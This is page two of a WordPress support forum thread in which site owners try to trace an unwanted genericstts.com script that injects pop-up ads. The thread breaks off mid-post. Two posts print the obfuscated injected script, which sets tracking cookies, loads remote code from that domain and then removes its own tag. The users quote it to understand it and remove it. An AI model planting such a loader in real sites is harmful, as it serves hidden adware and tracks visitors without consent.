Title: problem with http://genericstts.com/init.min.js Last modified: August 21, 2016 --- # problem with http://genericstts.com/init.min.js * [efiga](https://wordpress.org/support/users/efiga/) * (@efiga) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/) * Hi i want to remove [http://genericstts.com/init.min.js](http://genericstts.com/init.min.js) from my wordpress site it’s show’s popup in my website * how to remove it please ? ? Viewing 15 replies - 16 through 30 (of 61 total) [←](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/?output_format=md) [1](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/?output_format=md) 2 [3](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/3/?output_format=md) [4](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/4/?output_format=md) [5](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/5/?output_format=md) [→](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/3/?output_format=md) * [kasem123](https://wordpress.org/support/users/kasem123/) * (@kasem123) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150782) * well first i needed to remove this script but now i don’t think it is harmfull * **/\* You have the latest jquery version on your site \*/;var script = document. querySelector(‘script[src\*=”genericstts.com”]’);script.remove();** * when i visited from browser the script loads then says you have latest jquery version then script removes itself * also i tried using a proxy site to connect, it doesn’t have jquery so it showed [this](http://hideme.be/browse.php?u=http://genericstts.com/init.min.js&b=4&f=norefer) * [Naveen117](https://wordpress.org/support/users/naveen117/) * (@naveen117) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150784) * Hi,check functions.php file.In my site i have got the lines of some include files. * [Andrew Nevins](https://wordpress.org/support/users/anevins/) * (@anevins) * WCLDN 2018 Contributor | Volunteer support * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150785) * Let’s wait for **[@efiga](https://wordpress.org/support/users/efiga/)** to respond and continue the discussion with him. Otherwise you can create a new thread to discuss your own issues [http://wordpress.org/support/forum/how-to-and-troubleshooting#postform](http://wordpress.org/support/forum/how-to-and-troubleshooting#postform) * Thread Starter [efiga](https://wordpress.org/support/users/efiga/) * (@efiga) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150795) * hi again [@kasem123](https://wordpress.org/support/users/kasem123/) this javascript show’s pub and it’s harmfull ,look again in you will see * `var quezChaent=function(name,value,options){options=options||{};var expires= options.expires;if(typeof expires=="number"&&expires){var d=new Date();d.setTime( d.getTime()+expires*1000*3600*24);expires=options.expires=d}if(expires&&expires. toUTCString){options.expires=expires.toUTCString()}value=encodeURIComponent(value); var ertCEVBj=name+"="+value;for(var propName in options){ertCEVBj+="; "+propName; var propValue=options[propName];if(propValue!==true){ertCEVBj+="="+propValue}} document.cookie=ertCEVBj},uefillenaYB=function(name){var matches=document.cookie. match(new RegExp("(?:^|; )"+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1') +"=([^;]*)"));return matches?decodeURIComponent(matches[1]):undefined},dgTVBAFDCDEE =function(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for(var i=0;i<64;i++)text+=possible.charAt(Math.floor(Math.random()*possible. length));return text};if(!document.referrer)quezChaent('__gs_akfi',dgTVBAFDCDEE(),{ expires:10,path:'/'});if(!uefillenaYB('__gs_akfi')&&!uefillenaYB('__gs_akfir')){ var script=document.createElement('script');script.src='//genericstts.com/jquery. js?v=1.11.1';var head=document.getElementsByTagName('head')[0];head.appendChild( script);quezChaent('__gs_akfir',dgTVBAFDCDEE(),{expires:2,path:'/'})}else{document. querySelector('script[src*="genericstts.com"]').remove()}` * [@naveen117](https://wordpress.org/support/users/naveen117/) nothing found in the functions.php * [kasem123](https://wordpress.org/support/users/kasem123/) * (@kasem123) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150814) * well, that’s is the minified version of the javascript if you un minify it you’d get this * ``` var quezChaent = function(name, value, options) { options = options || {}; var expires = options.expires; if (typeof expires == "number" && expires) { var d = new Date(); d.setTime(d.getTime() + expires * 1000 * 3600 * 24); expires = options.expires = d } if (expires && expires.toUTCString) { options.expires = expires.toUTCString() } value = encodeURIComponent(value); var ertCEVBj = name + "=" + value; for (var propName in options) { ertCEVBj += "; " + propName; var propValue = options[propName]; if (propValue !== true) { ertCEVBj += "=" + propValue } } document.cookie = ertCEVBj }, uefillenaYB = function(name) { var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)")); return matches ? decodeURIComponent(matches[1]) : undefined }, dgTVBAFDCDEE = function() { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var i = 0; i < 64; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text }; if (!document.referrer) quezChaent('__gs_akfi', dgTVBAFDCDEE(), { expires: 10, path: '/' }); if (!uefillenaYB('__gs_akfi') && !uefillenaYB('__gs_akfir')) { var script = document.createElement('script'); script.src = '//genericstts.com/jquery.js?v=1.11.1'; var head = document.getElementsByTagName('head')[0]; head.appendChild(script); quezChaent('__gs_akfir', dgTVBAFDCDEE(), { expires: 2, path: '/' }) } else { document.querySelector('script[src*="genericstts.com"]').remove() } ``` * Which checks if the site has latet jquery loaded else it loads jquery 1.11.1, probably it is a cdn site * Thread Starter [efiga](https://wordpress.org/support/users/efiga/) * (@efiga) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150817) * I’m sure that show’s ads * look the domain Creation Date: 2014-07-23 08:35:00Z and i started my website a month ago about 12 days ago , * [kasem123](https://wordpress.org/support/users/kasem123/) * (@kasem123) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150820) * what kinds of ads are showing ? i am in your site and i see no ads except Google Ads * Thread Starter [efiga](https://wordpress.org/support/users/efiga/) * (@efiga) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150823) * after changing theme the javascript was removed now it show’s ads from [http://www.revenuehits.com/](http://www.revenuehits.com/) * [Rudy64](https://wordpress.org/support/users/rudy64/) * (@rudy64) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150849) * I have that suspicious URL showing up also. I noticed this when our site wasn’t loading–my browser was hung up trying to access genericstts.com . * Is it harmful? How can we tell? None of the plugins or the wretched theme this designer used from ThemeForest (which is a piece of crap) have anything in their TOS or privacy policies about it. I ran grep on my entire WordPress directory on the server, and this domain shows up **nowhere**. So, it is not in any of the code, unless they have cloaked it to hide it. So why are they cloaking this? Is it in the database? Do I need to start running queries to try and find it now? (Although I doubt that is the case.) Or is another JS loading this snippet? * See, our main problem is that this is going to be a high profile WP site when it launches next month, and we cannot have this site not loading because it is contacting some rogue server waiting for JavaScript code, which in this case, the server was down or very slow to respond. Where the code is placed, it stalls loading the site until this JS loads. Even if it were legit, it’s a very poor design. * I ended up deactivating the AdRotate plugin and I _think _it got rid of the rogue site–when our site was not responding due to this plugin, I deactivated it as a test and the site loaded instantly. Reactivate? Boom, not loading again. Coincidence? I have no idea. Right now I re-activated it and the site loads OK. But it was also loading OK for a couple of weeks before this happened. * I would appreciate knowing for sure which plugin is causing this, or that crappy theme. And I certainly do not trust any plugin or theme that has **cloaked ** the code where it is being injected–that is highly dishonest, and I plan on “ outing” and confronting whichever plugin or theme author injected this. I do not appreciate anything being snuck past me that I have no control over, and which may be sending data back to their server. * [kasem123](https://wordpress.org/support/users/kasem123/) * (@kasem123) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150850) * well, for me the script wasn’t harmful, my wordpress site was slow so i just removed wordpress and installed again on new server with new theme, as i said the script checks if you have the latest jquery loaded if not it loads the jquery 1.11.1, if you visit [http://genericstts.com/](http://genericstts.com/) it clearly says “Generic STATS & CDN” which proves my point. if you really intend to remove the script from your themes and plugins download all site files and use an editor like “notepad ++” or “sublimetext 3” and “ctrl + shift + f” to use the search in files function,and search for “genericstts” it should find where the script it * [Rudy64](https://wordpress.org/support/users/rudy64/) * (@rudy64) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150851) * Using grep is much faster on the server, scans all files in one pass and catches everything via regex pattern matching. That domain is nowhere to be found in any of the code. Why is it being cloaked as it is? Or in other words, what are they hiding, and why do they feel a need to hide it? * And why should I trust a script from a site that claims to be “generic stats and CDN”? I don’t; I can’t, not as a server admin and security professional. What’s to say they are not collecting all of the information sent in a typical HTTP request? Why should a third party such as that be privy to exactly who visits our site? * Even if this were legit, the site owner cannot afford to have the entire site stalled because that server is unreliable. * I do plan on getting to the bottom of this. * [kasem123](https://wordpress.org/support/users/kasem123/) * (@kasem123) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150852) * Admin Name: WHOISGUARD PROTECTED Admin Organization: WHOISGUARD, INC. Registrar URL: [http://www.enom.com](http://www.enom.com) Nameserver(1): GINA.NS.CLOUDFLARE. COM Nameserver(2): TIM.NS.CLOUDFLARE.COM Alexa Rank: 7,605,737 * If i was a CDN Site i won’t protect my company details in whois info… neither would i use cloudflare servers … but still no one proved the script is harmfull, have you tried contacting AdRotate developer ? * [Rudy64](https://wordpress.org/support/users/rudy64/) * (@rudy64) * [11 years, 8 months ago](https://wordpress.org/support/topic/problem-with-httpgenericsttscominitminjs-1/page/2/#post-5150853) * We can’t assume it _isn’t_ harmful either–I’d be slacking in my responsibilities if I did so. Why cloak it in the code, then, if it’s not doing something it shouldn’t? What is there to hide that is so important we not find out where this script tag comes from? (I did a grep on